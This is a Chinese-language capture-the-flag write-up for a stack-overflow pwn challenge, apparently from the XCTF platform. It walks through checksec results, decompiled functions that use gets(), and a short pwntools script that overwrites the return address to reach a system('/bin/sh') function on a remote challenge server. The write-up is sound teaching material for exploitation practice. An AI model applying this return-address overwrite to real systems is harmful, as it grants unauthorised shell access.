攻防世界高手进阶区 ——反应釜开关控制
题目没什么信息。在这里插入图片描述
1.分析文件
运行一下,可能为栈溢出的题。
checkse
无栈溢出保护,无地址随机化,只有堆栈不可执行。
栈溢出可能性大。
ida64
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-240h] BYREF
char v5[512]; // [rsp+40h] [rbp-200h] BYREF
write(1, "Please closing the reaction kettle\n", 0x23uLL);
write(1, "The switch is:", 0xEuLL);
sprintf(s, "%p\n", easy);
write(1, s, 9uLL);
write(1, ">", 2uLL);
gets(v5);
return 0;
}
给出了easy函数的地址,gets存在栈溢出漏洞。
__int64 easy()
{
char s[64]; // [rsp+0h] [rbp-1C0h] BYREF
char v2[384]; // [rsp+40h] [rbp-180h] BYREF
write(1, "You have closed the first switch\n", 0x21uLL);
write(1, "Please closing the second reaction kettle\n", 0x2AuLL);
write(1, "The switch is:", 0xEuLL);
sprintf(s, "%p\n", normal);
write(1, s, 9uLL);
write(1, ">", 2uLL);
return gets(v2);
}
跟进函数easy,和main函数类似,给出normal地址,存在栈溢出漏洞。
__int64 normal()
{
char s[64]; // [rsp+0h] [rbp-140h] BYREF
char v2[256]; // [rsp+40h] [rbp-100h] BYREF
write(1, "You have closed the first switch\n", 0x22uLL);
write(1, "Please closing the third reaction kettle\n", 0x2AuLL);
write(1, "The switch is:", 0xEuLL);
sprintf(s, "%p\n", shell);
write(1, s, 9uLL);
write(1, ">", 2uLL);
return gets(v2);
}
跟进函数normal,和前面的一样,暴露shell地址,存在漏洞。
int shell()
{
return system("/bin/sh");
}
shell函数为获取shell。
2.解题思路
最初我以为要通过暴露出来的地址一步一步溢出到shell地址,结果看其他大神的wp发现可以直接用ida分析出来的地址,貌似编译的时候没有开启aslr。对于linux安全机制不太清楚,导致浪费了太多时间。
所以直接通过main函数的栈溢出漏洞返回到shell函数的地址就行了。
3.解题脚本
因为v5有512个字节,且为64系统,故填充512+8(ebp)个字节。
shell的地址为0x4005F6
from pwn import *
p = remote(" 111.200.241.244" , "55652")
context(os = 'linux' , log_level = "debug")
payload = "a"*0x200 + 'a'*8 + p64(0x4005F6)
p.sendafter("is:",payload)
p.interactive()